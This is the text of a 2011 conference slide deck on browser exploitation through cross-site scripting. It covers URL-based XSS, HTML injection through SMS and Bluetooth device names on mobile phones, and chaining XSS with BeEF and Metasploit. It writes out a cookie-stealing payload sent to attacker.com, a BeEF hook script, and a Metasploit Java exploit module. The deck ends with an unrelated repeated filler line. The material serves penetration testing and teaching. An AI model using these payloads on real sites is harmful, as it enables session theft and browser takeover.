Browser Exploitation for Fun and Profit Revolutions

(...in less than 24 hours 😊)

Raúl Siles
raul@taddong.com

March 4, 2011
Outline

• On previous episodes… (3rd on the series)
• XSS state-of-the-art (≈ WCI)
• “New” kind of XSS:
  – Global (or URL-based) non-persistent XSS
• Multi-technology WCI on mobile devices
• Browser exploitation through XSS
  – BeEF + Metasploit + attacker’s imagination
• References
On Previous Episodes…

• “Browser Exploitation for Fun & Profit”
  – Target: Web browser (& its plug-ins)
  – Web application pen-tester setup & Demos
  – Samurai WTF & BeEF & Metasploit


• “Browser Exploitation for Fun & Profit Reloaded”
  – Top vuln applications 2010: Java & Adobe
  – Updating to the Ruby-based BeEF version
  – Web browsing best practices

XSS State-of-the-Art
Can My Browser Be Attacked?

• You only need to visit a single malicious web page… and be vulnerable to a single flaw… on your web browser or any of the installed plug-ins or add-ons… and …

• Drive-by-XSS
Cross-Site Scripting (XSS)

- XSS (JavaScript)
  - Why not “web content injection” (WCI)?
  - Others: HTML, images, Java, Flash, ActiveX…

- XSS types
  - Non-persistent & Persistent & …

- Risk/Impact perception: $L_0 \infty$
  - Industry & pen-tests
Who is (not) vulnerable to XSS?
“New” kind of XSS: Global (or URL-based) Non-Persistent XSS
Traditional XSS Protections

• Enforce input validation and output encoding
  – GET & POST parameters
  – HTTP headers

GET /portal?lang=es&q=rootedcon&year=2011 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1;
en-US; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/main
...
Target Web Application

• Initially discovered during a real web application pen-test in Spain
• Multi-language support web-app
  – Top HTML header includes links to the other languages (on every web page): URL

  https://www.example.com/portal/[...params]

```html
  <UL class=cabecera_idiomas>
    <LI><a href="https://www.example.com/portal/?lang=es">Bienvenidos</a></LI>
    <LI><a href="https://www.example.com/portal/?lang=en">Welcome</a></LI>
    ...
  </UL>
```
Global (or URL-based) non-persistent XSS (1)

- HTML or script injection after the “?” without parameters

```html
https://www.example.com/portal/?"<script>
document.location='https://www.attacker.com/triqui.php?
c='+document.cookie</script>
```

- The script is reflected N-times on the web page received as the response
  - One per language (by default)

- Similar scenario before the “?” (URL) or between parameters
Global (or URL-based) non-persistent XSS (2)

- Global: All web application resources (URLs) are vulnerable to XSS
  - Not a specific HTTP parameter
  - Better for:
    - Obfuscation (long URLs)
    - Social engineering
    - More damaging attacks (e.g. web login page)
- Defenses: input validation and output encoding on everything (including the URL)
Multi-technology WCI (≈XSS) on Mobile Devices
XSS Everywhere

• XSS: the input is reflected on the output
  – Immediately or “somewhere in time”
• Any input is a potential vulnerable candidate, as well as any output
• Web content injection (≈XSS) through multiple technologies on mobile devices
  – SMS and Bluetooth

What about… Wi-Fi, 2G/3G, etc? (network name)
• Initially discovered on Palm WebOS
  – Open web sites, download files, install new root CA certs, turn off radio, or wipe device
• Extended to Windows Mobile & HTC
  – Web-based SMS preview capabilities on HTC Windows Mobile smart-phones (scripting)
    • http://www.securityfocus.com/archive/1/510897/30/
• Defenses: Disable preview or update
  http://intrepidusgroup.com/insight/webos/
SMS on Windows Mobile 6.5

From: 666123666  
To: 6001234567

Mensaje (SMS):

```html
<script>alert('Ejecucion de Javascript')</script>
```

No hay citas

Nuevo mensaje SMS/MMS

+34******** dice:

```html
<script>alert('Ejecucion de Javascript')</script>
```
Bluetooth

- Discovered on Windows Mobile 6.1
  - Native web-based GUI notification subsystem
- Bluetooth pairing and profile access
  - Bluetooth authorization message (<=32 chars)
  - Only HTML (no scripting): Blueline attacks
- Defenses: Customized notification subsystem (vendor based)

http://www.hackingexposedwireless.com
Bluetooth on Windows Mobile 6.1

# hciconfig hci0 name "<b>Ordenador</b> no peligro<i>so</i>"

# hciconfig hci0 name "Mantener Bluetooth activo?"
Root Cause of the Problem

• Web contents everywhere (or converted to)
• Information displayed (GUI) via a web-based engine (HTML, JavaScript & more)
Near Future Vulnerable Inputs

- Camera: Barcode or QR code reader, etc
- Microphone: HTML-based audio transcript
Browser Exploitation through XSS
Demonstrating XSS

- Most common example: 😞
  - Quick for XSS discovery but…

```
<script>alert(‘XSS’)</script>
```

How to contribute to change this general perception?
Pen-testing is overrated
Exploiting Java
CVE-2010-0886

• All vulnerability details are on previous episodes
  – Java 6 Update (10 <= x <= 19)
• “Do you know Rubén Santamarta?” 😊
• Exploit requirements:
  – Metasploit running as root (sudo)
  – SMB not running on pen-tester system
  – WebClient (WebDAV Mini-Redirector) running on target (by default)
  – WEBDAV requires SRVPORT=80 and URIPATH=/
    (BeEF is running there!! Use != IP addresses)

exploit/windows/browser/java_ws_arginject_altjvm
BeEF Exploitation

• This is the only script the attacker needs to inject in the target web application: (PHP)

```html
<script src="http://www.attacker.com/beef/hook/beefmagic.js"></script>
```

• Metasploit integration
• Persistent hooking (100% iframe)
  – URL limitation (& favicon) – Yori Kvitchko
  – Not in some mobile devices…
Persistent Hooking in Mobile Devices through URL hiding

• URL hiding or addr. bar replacement
  • UI spoofing Safari on the iPhone
    – JavaScript pushes real address bar up
• Android too

http://evil-lemur.com/mobile/

References

• Presentations in the Browser Exploitation for Fun & Profit Series:  http://blog.taddong.com

• Samurai WTF (Web Testing Framework):
  – http://sourceforge.net/projects/samurai/

• BeEF
  – http://www.bindshell.net/tools/beef/
  – https://code.google.com/p/beef/

• MetaSploit Framework (MSF): (autopwn)
  – http://www.metasploit.com
I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions. I will use Google before asking dumb questions.